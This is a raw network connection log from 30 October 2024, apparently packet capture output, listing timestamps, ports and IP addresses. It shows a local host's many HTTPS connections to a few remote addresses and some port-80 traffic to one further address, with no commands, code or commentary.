Oct 30, 2024 11:45:24.400079966 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.407617092 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.407656908 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.407716036 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.411525011 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.411550999 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.411569118 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.411573887 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.427746058 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.427777052 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.435770988 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.435806036 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.436306000 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.436434031 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.436444998 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.482842922 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.483076096 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.483211040 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.483349085 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.483371019 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.483381033 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.483386040 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.487302065 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.487335920 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.487627029 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.488020897 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.488029957 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.612263918 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.612790108 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.612813950 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.613302946 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.613311052 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.627707005 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.628499031 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.628506899 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.629278898 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.629282951 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.752727032 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.753151894 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.753206015 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.753355026 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.753372908 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.753382921 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.753387928 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.755979061 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.756000996 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.756058931 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.756189108 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.756203890 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.768618107 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.768686056 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.768847942 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.768909931 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.768923044 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.768944979 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.768951893 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.771460056 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.771521091 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.771646023 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.771806955 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.771836996 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.793107033 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.793349981 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:24.793369055 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.793775082 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.793862104 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:24.794575930 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.794639111 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:24.794883966 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:24.794939041 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.795054913 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:24.795054913 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:24.795064926 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.835339069 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.843017101 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:24.907824039 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:24.907882929 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:25.025023937 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:25.030450106 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:25.049144030 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:25.049216986 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:25.178410053 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.178982019 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.179001093 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.179435968 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.179440022 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.192151070 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.192567110 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.192581892 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.193032026 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.193036079 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.261334896 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.261940002 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.261969090 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.262537956 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.262547016 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.315861940 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.316032887 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.316128016 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.316201925 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.316222906 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.316234112 CET	49795	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.316240072 CET	443	49795	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.319183111 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.319220066 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.319325924 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.319485903 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.319502115 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.331034899 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.331407070 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.331453085 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.331479073 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.331487894 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.331499100 CET	49796	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.331505060 CET	443	49796	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.334214926 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.334259987 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.334376097 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.334501028 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.334517956 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.400615931 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.400837898 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.400893927 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.400935888 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.400952101 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.400964975 CET	49797	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.400969982 CET	443	49797	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.403712034 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.403727055 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.403950930 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.403950930 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.403973103 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.527162075 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.527726889 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.527738094 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.528182983 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.528186083 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.529947996 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.530235052 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.530249119 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.530631065 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.530635118 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.666636944 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.667007923 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.667083025 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.667110920 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.667120934 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.667140007 CET	49798	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.667150021 CET	443	49798	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.668102026 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.668358088 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.668423891 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.668503046 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.668521881 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.668534040 CET	49799	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.668539047 CET	443	49799	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.670202971 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.670233965 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.670382977 CET	49804	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.670413017 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.670418024 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.670586109 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.670594931 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.670742035 CET	49804	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.670742035 CET	49804	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:25.670768023 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:25.813209057 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:25.813332081 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:26.077034950 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.077661037 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.077672958 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.078399897 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.078407049 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.085089922 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.085464001 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.085484982 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.085907936 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.085913897 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.184005022 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.185061932 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.185075045 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.185713053 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.185718060 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.215140104 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.215286016 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.215976000 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.216099977 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.216120958 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.217053890 CET	49800	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.217065096 CET	443	49800	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.221297979 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.221343040 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.221966982 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.222131968 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.222142935 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.222270012 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.222362041 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.222418070 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.222476959 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.222496033 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.222512960 CET	49801	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.222517967 CET	443	49801	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.225428104 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.225480080 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.225541115 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.226056099 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.226075888 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.322475910 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.322676897 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.322858095 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.338448048 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.338474989 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.338515997 CET	49802	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.338522911 CET	443	49802	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.347471952 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.347497940 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.347589016 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.347914934 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.347922087 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.455712080 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.456186056 CET	49804	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.456201077 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.456615925 CET	49804	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.456620932 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.469623089 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.469996929 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.470010996 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.470468044 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.470473051 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.598197937 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.598287106 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.598357916 CET	49804	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.598661900 CET	49804	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.598678112 CET	443	49804	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.600995064 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.601038933 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.601141930 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.601311922 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.601324081 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.614217997 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.614384890 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.614562035 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.614743948 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.614758015 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.614768982 CET	49803	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.614773989 CET	443	49803	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.662995100 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.663027048 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.663181067 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.663475990 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:26.663489103 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.975194931 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:26.985945940 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.030518055 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.031547070 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.095102072 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.139902115 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.162703991 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.162713051 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.163165092 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.163170099 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.163408041 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.163414955 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.163868904 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.163873911 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.164311886 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.164315939 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.164787054 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.164791107 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.295571089 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.295578957 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.295656919 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.295664072 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.295705080 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.295778990 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.296487093 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.296628952 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.296679974 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.306826115 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.306837082 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.306862116 CET	49806	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.306868076 CET	443	49806	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.307029009 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.307044983 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.307055950 CET	49807	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.307061911 CET	443	49807	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.353385925 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.353404045 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.353414059 CET	49805	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.353419065 CET	443	49805	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.366997957 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.414355040 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.414391041 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.414915085 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.414921045 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.418857098 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.419548035 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.419565916 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.419919014 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.419924974 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.453109026 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.453159094 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.453327894 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.465656042 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.465681076 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.465779066 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.466701984 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.466746092 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.466809988 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.467467070 CET	49810	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.467483044 CET	443	49810	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.469225883 CET	49811	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.469238043 CET	443	49811	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.471504927 CET	49812	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.471517086 CET	443	49812	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.548130035 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.548217058 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.548268080 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.548624039 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.548624039 CET	49808	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.548643112 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.548651934 CET	443	49808	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.554852009 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.554893017 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.555092096 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.555584908 CET	49813	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.555598021 CET	443	49813	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.558415890 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.558708906 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.558840036 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.558862925 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.558878899 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.559020996 CET	49809	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.559026957 CET	443	49809	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.561907053 CET	49814	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.561933994 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:27.562000990 CET	49814	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.562803030 CET	49814	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:27.562809944 CET	443	49814	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:28.213067055 CET	443	49810	13.107.253.45	192.168.2.6
